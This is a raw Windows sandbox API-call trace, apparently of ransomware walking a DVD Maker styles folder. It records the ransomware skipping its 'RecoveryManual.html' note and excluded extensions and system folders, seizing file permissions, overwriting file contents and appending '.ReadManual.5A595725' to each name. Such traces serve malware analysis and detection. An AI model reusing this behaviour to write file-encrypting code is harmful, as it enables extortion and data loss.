SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0252.890] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.890] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.892] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.892] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0252.892] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.892] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37356091333) returned 1 [0252.892] CloseHandle (hObject=0x184) returned 1 [0252.892] SetSecurityInfo () returned 0x5 [0252.892] SetSecurityInfo () returned 0x5 [0252.892] LocalFree (hMem=0x674d38) returned 0x0 [0252.892] CloseHandle (hObject=0x194) returned 1 [0252.893] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.893] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0252.893] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.893] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.893] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.893] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.893] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.893] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.893] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.893] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.894] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" [0252.894] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0252.894] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 101 [0252.894] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37356241448) returned 1 [0252.894] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0252.894] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.894] GetLastError () returned 0x5 [0252.894] GetNamedSecurityInfoW () returned 0x0 [0252.894] SetNamedSecurityInfoW () returned 0x0 [0252.894] SetNamedSecurityInfoW () returned 0x0 [0252.895] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.895] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5025) returned 1 [0252.895] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x184 [0252.895] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.896] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.896] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.898] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.898] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0252.898] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.898] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37356671933) returned 1 [0252.898] CloseHandle (hObject=0x184) returned 1 [0252.898] SetSecurityInfo () returned 0x5 [0252.898] SetSecurityInfo () returned 0x5 [0252.898] LocalFree (hMem=0x674d38) returned 0x0 [0252.898] CloseHandle (hObject=0x194) returned 1 [0252.898] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.898] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0252.898] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.898] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.898] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.898] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.898] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.899] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.899] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.899] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.899] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.899] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.899] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" [0252.899] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0252.899] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 107 [0252.899] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37356770402) returned 1 [0252.899] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.900] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.900] GetLastError () returned 0x5 [0252.900] GetNamedSecurityInfoW () returned 0x0 [0252.900] SetNamedSecurityInfoW () returned 0x0 [0252.901] SetNamedSecurityInfoW () returned 0x0 [0252.901] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.902] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3118) returned 1 [0252.902] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x184 [0252.902] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0252.902] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.902] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.904] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.904] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0252.904] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.904] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37357304146) returned 1 [0252.904] CloseHandle (hObject=0x184) returned 1 [0252.904] SetSecurityInfo () returned 0x5 [0252.904] SetSecurityInfo () returned 0x5 [0252.904] LocalFree (hMem=0x674d38) returned 0x0 [0252.904] CloseHandle (hObject=0x194) returned 1 [0252.905] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.905] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0252.905] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.905] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.905] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.905] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.905] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.905] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.905] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.905] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.905] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" [0252.905] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0252.905] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 98 [0252.905] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37357407047) returned 1 [0252.905] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0252.906] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.906] GetLastError () returned 0x5 [0252.906] GetNamedSecurityInfoW () returned 0x0 [0252.906] SetNamedSecurityInfoW () returned 0x0 [0252.906] SetNamedSecurityInfoW () returned 0x0 [0252.909] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.909] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4955) returned 1 [0252.909] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x184 [0252.909] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.909] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.913] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.914] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0252.914] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.914] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37358260994) returned 1 [0252.914] CloseHandle (hObject=0x184) returned 1 [0252.914] SetSecurityInfo () returned 0x5 [0252.914] SetSecurityInfo () returned 0x5 [0252.914] LocalFree (hMem=0x674d38) returned 0x0 [0252.914] CloseHandle (hObject=0x194) returned 1 [0252.914] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.914] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0252.914] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.914] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.914] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.914] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.914] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.914] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.914] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.914] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.914] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.914] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.915] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.915] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.915] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.915] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.915] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.915] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.915] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" [0252.915] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0252.915] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 104 [0252.915] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37358356124) returned 1 [0252.915] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.915] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.915] GetLastError () returned 0x5 [0252.915] GetNamedSecurityInfoW () returned 0x0 [0252.915] SetNamedSecurityInfoW () returned 0x0 [0252.915] SetNamedSecurityInfoW () returned 0x0 [0252.916] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.916] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3081) returned 1 [0252.916] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x184 [0252.916] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.917] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.919] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.919] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0252.919] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.919] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37358775727) returned 1 [0252.919] CloseHandle (hObject=0x184) returned 1 [0252.919] SetSecurityInfo () returned 0x5 [0252.919] SetSecurityInfo () returned 0x5 [0252.919] LocalFree (hMem=0x674d38) returned 0x0 [0252.919] CloseHandle (hObject=0x194) returned 1 [0252.919] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0252.919] lstrcpyW (in: lpString1=0x69b8fc, lpString2="OldAge" | out: lpString1="OldAge") returned="OldAge" [0252.919] lstrcatW (in: lpString1="OldAge", lpString2="\\" | out: lpString1="OldAge\\") returned="OldAge\\" [0252.919] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\Windows\\") returned 0x0 [0252.919] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\WINNT") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", 